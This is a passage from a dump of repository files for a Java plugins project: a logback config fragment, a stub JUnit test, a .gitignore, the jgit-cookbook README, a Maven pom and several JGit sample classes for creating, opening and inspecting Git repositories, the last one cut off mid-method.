%msg%n\n\t\t\t</Pattern>\n\t\t</layout>\n\t</appender>\n\t\n\t\n\t\n\t<!-- 自定义定义日志文件可以从这获取 例如 logTest -->\n\t<logger name=\"oneInfo\" level=\"DEBUG\" additivity=\"false\">\n\t   <appender-ref ref=\"ONE_INFO\" />\n\t</logger>\n\t<logger name=\"twoInfo\" level=\"WARN\" additivity=\"true\">\n\t   <appender-ref ref=\"TWO_INFO\" />\n\t</logger>\n\t\n\t<!-- 设置该包打印日志的级别  -->\n\t<logger name=\"org.apache.kafka\" level=\"WARN\"/>\n\t\n\t<!--日志主级别  -->\t\n\t<root level=\"INFO\">\n\t\t<appender-ref ref=\"STDOUT\"/>\n\t\t<appender-ref ref=\"FILE\" />\n\t</root>\n\n</configuration>"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/test/java/com/jun/plugin/AppTest.java",
    "content": "package com.jun.plugin;\n\nimport junit.framework.Test;\nimport junit.framework.TestCase;\nimport junit.framework.TestSuite;\n\n/**\n * Unit test for simple App.\n */\npublic class AppTest \n    extends TestCase\n{\n    /**\n     * Create the test case\n     *\n     * @param testName name of the test case\n     */\n    public AppTest( String testName )\n    {\n        super( testName );\n    }\n\n    /**\n     * @return the suite of tests being tested\n     */\n    public static Test suite()\n    {\n        return new TestSuite( AppTest.class );\n    }\n\n    /**\n     * Rigourous Test :-)\n     */\n    public void testApp()\n    {\n        assertTrue( true );\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/.gitignore",
    "content": "*.class\ntarget\n.classpath\n.project\n.settings/\n.gradle\n/bin/\n/build/\n\n### JetBrains template\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio\n\n*.iml\n\n## Directory-based project format:\n.idea/\n# if you remove the above rule, at least ignore the following:\n\n## File-based project format:\n*.ipr\n*.iws\n\n## Plugin-specific files:\n\n# IntelliJ\n/out/\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/README.md",
    "content": "jgit-cookbook\n=============\n[![Build Status](https://travis-ci.org/centic9/jgit-cookbook.svg)](https://travis-ci.org/centic9/jgit-cookbook) [![Gradle Status](https://gradleupdate.appspot.com/centic9/jgit-cookbook/status.svg?branch=master)](https://gradleupdate.appspot.com/centic9/jgit-cookbook/status)\n\nProvides examples and code snippets for the [JGit](https://eclipse.org/jgit/) Java Git implementation. \n\nThe JGit framework is rich and diverse, it has two layers, a low-level _api_ and a higher-level set of _porcelain_ commands. This can be a bit intimidating at first as there are lots of classes, some of which are not relevant for most tasks.\n\nThis project tries to provide a collection of ready-to-run snippets which provide a quick start for building functionality using JGit. \n\nPlease make sure to take a look at the nicely written [introduction](http://www.codeaffine.com/2015/12/15/getting-started-with-jgit/) and also use the existing [JavaDoc](http://download.eclipse.org/jgit/site/5.5.0.201909110433-r/apidocs/) and the [model.User Guide](http://wiki.eclipse.org/JGit/User_Guide) as well, as they are well done and provide detailed information and a general overview of JGit respectively.\n\n*Note: Please use sites such as http://stackoverflow.com for general questions about JGit usage, not issues in this project. Issues should be used for problems with snippets and suggestions of missing snippets. Snippets from good answers on stackoverflow can then be included here, naturally.*\n\n#### Getting started\n\n##### Grab it\n\n    git clone git://github.com/centic9/jgit-cookbook\n\n##### Build it and create Eclipse project files\n\n###### When using Maven\n\n    mvn dependency:sources eclipse:eclipse package\n\n###### When using Gradle\n\n    ./gradlew eclipse check\n\n#### Run it\n\n    Import the project into your favourite IDE and execute the snippets there.\n\n#### Currently the following snippets are available\n\n##### General Repository handling\n\n* [Open an existing repository](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/OpenRepository.java)\n* [Create a new repository](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/CreateNewRepository.java)\n\n##### Porcelain commands\n\n* [Initialize a new repository](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/InitRepository.java)\n* [Add a new file to the index](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/AddFile.java)\n* [Commit a file to an existing repository](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CommitFile.java)\n* [Commit all changes](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CommitAll.java)\n* [List commits (i.e. Log)](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ShowLog.java)\n* [List all tags in a repository](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ListTags.java)\n* [List all branches in a repository](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ListBranches.java)\n* [List all commits in a repository](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/WalkAllCommits.java)\n* [List uncommitted changes of a repository](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ListUncommittedChanges.java)\n* [Create and delete branches](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CreateAndDeleteBranch.java)\n* [Create and delete tags](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CreateAndDeleteTag.java)\n* [List all tags applied on a branch](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ListTagsOnBranch.java)\n* [Revert a modified tracked file back to its original state in most recent commit](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/RevertChanges.java)\n* [Return diff between two branches](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ShowBranchDiff.java)\n* [Show diff of changes to a file between two revs](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ShowFileDiff.java)\n* [Show diff of changes to all files between two commits](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ShowChangedFilesBetweenCommits.java)\n* [Show diff of changes to a file between two commits when the file has been renamed](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/DiffRenamedFile.java)\n* [Show Status](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ShowStatus.java)\n* [Store contents of branch into a compressed file](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CreateArchive.java)\n* [Write contents of branch into a compressed file using a custom archive format](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CreateCustomFormatArchive.java)\n* [Blame, i.e. find out which commit changed specific lines in a file](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ShowBlame.java)\n* [Add and list Notes attached to commits](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/AddAndListNoteOfCommit.java)\n* [List available Notes](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ListNotes.java)\n* [Clean all untracked files](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CleanUntrackedFiles.java)\n* [Create, list, apply and drop stashes](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CreateListApplyAndDropStash.java)\n* [Run garbage collection](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CollectGarbage.java)\n* [Blame, i.e. retrieve information who last changed which line in a file](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/BlameFile.java)\n* [Merge changes from a branch](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/MergeChanges.java)\n* [List changed files between two commits](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/DiffFilesInCommit.java)\n\n##### Commands working with remote repositories\n\n* [Clone a remote repository into a new local directory](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CloneRemoteRepository.java)\n* [Iterate remote references in a repository](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ListRemotes.java)\n* [List remote heads/tags without a local clone](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/ListRemoteRepository.java)\n* [Fetch from remote repositories](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/FetchRemoteCommits.java)\n* [Fetch from remote repositories and use 'prune' to remove outdated remote branches/tags](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/FetchRemoteCommitsWithPrune.java)\n* [Fetch from remote repositories via ssh protocol](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/FetchRemoteCommitsWithSshAuth.java)\n* [Clone a remote repository via SSH protocol and username/password credentials](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CloneRemoteRepositoryWithAuthentication.java)\n* [Rebase onto an upstream branch](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/RebaseToOriginMaster.java)\n* [Using InMemoryRepository to clone a Git repo in-memory and work from there](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CloneRemoteRepositoryIntoMemoryAndReadFile.java)\n* [Checkout a PR from GitHub](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/porcelain/CheckoutGitHubPullRequest.java)\n\n##### Low-level API\n\n* [Get the SHA-1 ref from a name, e.g. refs/heads/master](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/GetRefFromName.java)\n* [Get the commit-object from a name or a SHA-1](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/GetRevCommitFromObjectId.java)\n* [Get the commit-message](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/GetCommitMessage.java)\n* [Get the tree-object from a commit-object, name or SHA-1](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/GetRevTreeFromObjectId.java)\n* [Read the contents of a file/blob](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/ReadBlobContents.java)\n* [Get the tag-object from a name or a SHA-1](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/ReadTagFromName.java)\n* [Resolve complex references, e.g. HEAD^^ to a SHA-1](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/ResolveRef.java)\n* [Iterate over the commits on a branch](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/WalkRev.java)\n* [Iterate over a range of commits](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/WalkFromToRev.java)\n* [Read contents of a specific file from a specific commit](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/ReadFileFromCommit.java)\n* [List remotes configured for the current repository](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/PrintRemotes.java)\n* [Print out user information from Git](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/ReadUserConfig.java)\n* [Read file attributes, e.g. executable state, file or directory, size, ...](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/GetFileAttributes.java)\n* [Use class BranchTrackingStatus to retrieve number of commits ahead/behind compared to remote branches](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/ShowBranchTrackingStatus.java)\n* [Check if commits on other branches are merged into a given branch](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/CheckMergeStatusOfCommit.java)\n* [List files in a directory as-of a specific commit or a tag](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/ListFilesOfCommitAndTag.java)\n* [Iterate over files of a commit recursively](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/WalkTreeRecursive.java)\n* [Iterate over files of a commit non-recursively](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/WalkTreeNonRecursive.java)\n* [Find all commits that are reachable via tags, branches, remotes, HEADs, ...](https://github.com/centic9/jgit-cookbook/blob/master/src/main/java/org/dstadler/jgit/api/WalkAllCommits.java)\n\n##### GitServlet\n\n* There is a standalone sub-project in directory [httpserver](https://github.com/centic9/jgit-cookbook/blob/master/httpserver) which \nstarts up a simple HTTP Git server based on the JGit GitServlet.\n\nJust import the project in your IDE and start up the `Main` application, see the Comments in the code for more details.\n\nAnother simple way to start the sample-server is to run `./gradlew run` in the httpserver-directory.\n\n#### Useful code elsewhere\n\n##### cf-ops-automation-broker \n\n* Implementation of a simple git server serving anynymous `git:` protocol: https://github.com/orange-cloudfoundry/cf-ops-automation-broker/blob/8bcb286652fae2b8fe2ccc9f67c53cb0272bcbd0/cf-ops-automation-broker-core/src/main/java/com/orange/oss/cloudfoundry/broker/opsautomation/ondemandbroker/git/GitServer.java\n* Usage in tests: https://github.com/orange-cloudfoundry/cf-ops-automation-broker/blob/8bcb286652fae2b8fe2ccc9f67c53cb0272bcbd0/cf-ops-automation-bosh-broker/src/test/java/com/orange/oss/cloudfoundry/broker/opsautomation/ondemandbroker/sample/BoshServiceProvisionningTest.java#L134\n\n#### Missing snippets\n\n* Iterate all commits of a repository: https://gerrit.googlesource.com/plugins/branch-network/+log/refs/heads/master/src/main/java/com/googlesource/gerrit/plugins/branchnetwork/data/JGitFacade.java\n* Take some of the unit tests as example: https://github.com/eclipse/jgit/tree/master/org.eclipse.jgit.test/tst/org/eclipse/jgit/api\n* SubModules: http://stackoverflow.com/questions/13426798/jgit-read-gitmodules http://www.codeaffine.com/2014/04/16/how-to-manage-git-submodules-with-jgit/ https://stackoverflow.com/questions/26090139/jgit-reading-commits-from-a-submodule https://download.eclipse.org/jgit/site/5.5.0.201909110433-r/apidocs/org/eclipse/jgit/submodule/package-frame.html\n* Diffing: http://stackoverflow.com/questions/12987364/how-to-diff-with-two-files-by-jgit-without-creating-repo\n* Amend a previous commit: http://stackoverflow.com/questions/4772142/jgit-unstaging-files-removing-files-from-the-index-and-ammending-a-commit\n* Remove a file from the index: http://stackoverflow.com/questions/4803462/jgit-java-git-library-unstaging-files\n* Git repo on Amazon S3: http://stackoverflow.com/questions/8744611/git-repository-on-s3-as-origin-not-as-backup http://stackoverflow.com/questions/7031729/publish-to-s3-using-git http://www.fancybeans.com/blog/2012/08/24/how-to-use-s3-as-a-private-git-repository/\n* CherryPick: http://download.eclipse.org/jgit/site/5.5.0.201909110433-r/apidocs/org/eclipse/jgit/api/CherryPickCommand.html http://stackoverflow.com/questions/18300898/how-to-cherry-pick-a-commit-that-has-more-than-one-parent\n* More authentication: http://www.lordofthejars.com/2016/09/authenticating-with-jgit.html\n* How to do a shallow clone (i.e. --depth 1) as soon as https://bugs.eclipse.org/bugs/show_bug.cgi?id=475615 is implemented\n\n#### Support this project\n\nIf you find these snippets useful and would like to support it, you can [Sponsor the author](https://github.com/sponsors/centic9)\n\n#### Sources\n\nThe following sources were used to build the snippets:\n\n* [JGit JavaDoc](http://download.eclipse.org/jgit/site/5.5.0.201909110433-r/apidocs/)\n* [JGit model.User Guide](http://wiki.eclipse.org/JGit/User_Guide)\n* [JGit related questions on stackoverflow](http://stackoverflow.com/questions/tagged/jgit)\n* [AlBlue's Blog: Embedding JGit](http://alblue.bandlem.com/2013/11/embedding-jgit.html)\n* [JGit main page](http://www.eclipse.org/jgit/)\n\n#### Other applications using JGit\n\n* EGit - Git plugin for Eclipse - https://www.eclipse.org/egit/\n* Gerrit - A web-based team code collaboration tool - https://www.gerritcodereview.com\n* Gitiles - A simple Git repository browser - http://code.google.com/p/gitiles/ and https://android.googlesource.com\n* JGitFS - A userfs implementation which allows to browse branches, tags, committs as a directory structure - https://github.com/centic9/JGitFS\n* jgitstats - displays repository stats - https://github.com/selesse/jgitstats\n* git-to-solr - Index git history into a Solr repository - https://github.com/arafalov/git-to-solr\n* Elegit - GUI client for people who want to learn Git - https://github.com/dmusican/Elegit\n* Grgit - A wrapper over JGit that provides a fluent API for interacting with Git repositories in Groovy-based tooling - https://github.com/ajoberstar/grgit\n* jgitver A library to calculate a project semver compatible version from a git repository and its content - https://github.com/jgitver/jgitver\n* gitective - Investigate Git repositories via filters - https://github.com/kevinsawicki/gitective\n* RJGit - A JRuby wrapper around the JGit library - https://github.com/repotag/rjgit\n* KGit - A Kotlin Wrapper of JGit - https://github.com/sya-ri/KGit\n\nRuby Build\n\n#### Contribute\n\nPlease note that the list of snippets is not yet complete, probably never will. If you are missing things or have suggestions how to improve or add snippets, please either send pull requests or create [issues](https://github.com/centic9/jgit-cookbook/issues).\n\n#### Licensing\n\n   Copyright 2013-2020 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at [http://www.apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0)\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>io.github.wujun728</groupId>\n  <version>1.0</version>\n\t<artifactId>jun_jgit</artifactId>\n\t<packaging>jar</packaging>\n\t\n  <repositories>\n    <repository>\n      <id>jgit-repository</id>\n      <url>https://repo.eclipse.org/content/groups/releases/</url>\n    </repository>\n  </repositories>\n\n  <!-- Core Library -->\n  <dependencies>\n    <dependency>\n      <groupId>org.eclipse.jgit</groupId>\n      <artifactId>org.eclipse.jgit</artifactId>\n      <version>5.13.0.202109080827-r</version>\n    </dependency>\n    <dependency>\n      <groupId>org.eclipse.jgit</groupId>\n      <artifactId>org.eclipse.jgit.archive</artifactId>\n      <version>5.13.0.202109080827-r</version>\n    </dependency>\n    <dependency>\n      <groupId>org.eclipse.jgit</groupId>\n      <artifactId>org.eclipse.jgit.ssh.jsch</artifactId>\n      <version>5.13.0.202109080827-r</version>\n    </dependency>\n\n    <dependency>\n        <groupId>commons-io</groupId>\n        <artifactId>commons-io</artifactId>\n        <version>2.8.0</version>\n    </dependency>\n    <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-simple</artifactId>\n        <version>1.7.36</version>\n    </dependency>\n\n    <!-- optional dependency of commons-compress which is needed by JGit -->\n    <!-- <dependency>\n      <groupId>org.tukaani</groupId>\n      <artifactId>xz</artifactId>\n      <version>1.8</version>\n    </dependency> -->\n\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.13.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>3.2</version>\n        <configuration>\n          <source>1.8</source>\n          <target>1.8</target>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/CreateNewRepository.java",
    "content": "package com.jun.plugin.jgit;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\n\n/**\n * Simple snippet which shows how to create a new repository\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CreateNewRepository {\n\n    public static void main(String[] args) throws IOException, IllegalStateException, GitAPIException {\n        // prepare a new folder\n        File localPath = File.createTempFile(\"TestGitRepository\", \"\");\n        if(!localPath.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + localPath);\n        }\n\n        // create the directory\n        try (Git git = Git.init().setDirectory(localPath).call()) {\n            System.out.println(\"Having repository: \" + git.getRepository().getDirectory());\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/OpenRepository.java",
    "content": "package com.jun.plugin.jgit;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.storage.file.FileRepositoryBuilder;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.File;\nimport java.io.IOException;\n\n/**\n * Simple snippet which shows how to open an existing repository\n *\n * @author dominik.stadler at gmx.at\n */\npublic class OpenRepository {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // first create a test-repository, the return is including the .get directory here!\n        File repoDir = createSampleGitRepo();\n\n        // now open the resulting repository with a FileRepositoryBuilder\n        FileRepositoryBuilder builder = new FileRepositoryBuilder();\n        try (Repository repository = builder.setGitDir(repoDir)\n                .readEnvironment() // scan environment GIT_* variables\n                .findGitDir() // scan up the file system tree\n                .build()) {\n            System.out.println(\"Having repository: \" + repository.getDirectory());\n\n            // the Ref holds an ObjectId for any type of object (tree, commit, blob, tree)\n            Ref head = repository.exactRef(\"refs/heads/master\");\n            System.out.println(\"Ref of refs/heads/master: \" + head);\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(repoDir.getParentFile());\n    }\n\n    private static File createSampleGitRepo() throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.createNewRepository()) {\n            System.out.println(\"Temporary repository at \" + repository.getDirectory());\n\n            // create the file\n            File myFile = new File(repository.getDirectory().getParent(), \"testfile\");\n            if(!myFile.createNewFile()) {\n                throw new IOException(\"Could not create file \" + myFile);\n            }\n\n            // run the add-call\n            try (Git git = new Git(repository)) {\n                git.add()\n                        .addFilepattern(\"testfile\")\n                        .call();\n\n\n                // and then commit the changes\n                git.commit()\n                        .setMessage(\"Added testfile\")\n                        .call();\n            }\n\n            System.out.println(\"Added file \" + myFile + \" to repository at \" + repository.getDirectory());\n\n            return repository.getDirectory();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/CheckMergeStatusOfCommit.java",
    "content": "package com.jun.plugin.jgit.api;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Snippet which shows how to check if commits are merged into a\n * given branch.\n *\n * See also http://stackoverflow.com/questions/26644919/how-to-determine-with-jgit-which-branches-have-been-merged-to-master\n */\npublic class CheckMergeStatusOfCommit {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (RevWalk revWalk = new RevWalk( repository )) {\n                RevCommit masterHead = revWalk.parseCommit( repository.resolve( \"refs/heads/master\" ));\n\n                // first a commit that was merged\n                ObjectId id = repository.resolve(\"05d18a76875716fbdbd2c200091b40caa06c713d\");\n                System.out.println(\"Had id: \" + id);\n                RevCommit otherHead = revWalk.parseCommit( id );\n\n                if( revWalk.isMergedInto( otherHead, masterHead ) ) {\n                    System.out.println(\"Commit \" + otherHead + \" is merged into master\");\n                } else {\n                    System.out.println(\"Commit \" + otherHead + \" is NOT merged into master\");\n                }\n\n\n                // then a commit on a test-branch which is not merged\n                id = repository.resolve(\"ae70dd60a7423eb07893d833600f096617f450d2\");\n                System.out.println(\"Had id: \" + id);\n                otherHead = revWalk.parseCommit( id );\n\n                if( revWalk.isMergedInto( otherHead, masterHead ) ) {\n                    System.out.println(\"Commit \" + otherHead + \" is merged into master\");\n                } else {\n                    System.out.println(\"Commit \" + otherHead + \" is NOT merged into master\");\n                }\n\n                // and finally master-HEAD itself\n                id = repository.resolve(\"HEAD\");\n                System.out.println(\"Had id: \" + id);\n                otherHead = revWalk.parseCommit( id );\n\n                if( revWalk.isMergedInto( otherHead, masterHead ) ) {\n                    System.out.println(\"Commit \" + otherHead + \" is merged into master\");\n                } else {\n                    System.out.println(\"Commit \" + otherHead + \" is NOT merged into master\");\n                }\n\n                revWalk.dispose();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/GetCommitMessage.java",
    "content": "package com.jun.plugin.jgit.api;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevWalk;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Simple snippet which shows how to retrieve the commit-message based on object id.\n */\npublic class GetCommitMessage {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            Ref head = repository.findRef(\"refs/heads/master\");\n            System.out.println(\"Found head: \" + head);\n\n            // a RevWalk allows to walk over commits based on some filtering that is defined\n            try (RevWalk walk = new RevWalk(repository)) {\n                RevCommit commit = walk.parseCommit(head.getObjectId());\n\n                System.out.println(\"\\nCommit-Message: \" + commit.getFullMessage());\n\n                walk.dispose();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/api/GetFileAttributes.java",
    "content": "package com.jun.plugin.jgit.api;\n\nimport org.eclipse.jgit.lib.*;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.TreeWalk;\nimport org.eclipse.jgit.treewalk.filter.PathFilter;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\n\n/**\n * Snippet which shows how to use RevWalk and TreeWalk to read the file\n * attributes like execution-bit and type of file/directory/...\n *\n * @author dominik.stadler at gmx.at\n */\npublic class GetFileAttributes {\n\n    public static void main(String[] args) throws IOException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // find the Tree for current HEAD\n            RevTree tree = getTree(repository);\n\n            printFile(repository, tree);\n\n            printDirectory(repository, tree);\n\n            // there is also FileMode.SYMLINK for symbolic links, but this is not handled here yet\n        }\n    }\n\n    private static RevTree getTree(Repository repository) throws IOException {\n        ObjectId lastCommitId = repository.resolve(Constants.HEAD);\n\n        // a RevWalk allows to walk over commits based on some filtering\n        try (RevWalk revWalk = new RevWalk(repository)) {\n            RevCommit commit = revWalk.parseCommit(lastCommitId);\n\n            System.out.println(\"Time of commit (seconds since epoch): \" + commit.getCommitTime());\n\n            // and using commit's tree find the path\n            RevTree tree = commit.getTree();\n            System.out.println(\"Having tree: \" + tree);\n            return tree;\n        }\n    }\n\n    private static void printFile(Repository repository, RevTree tree) 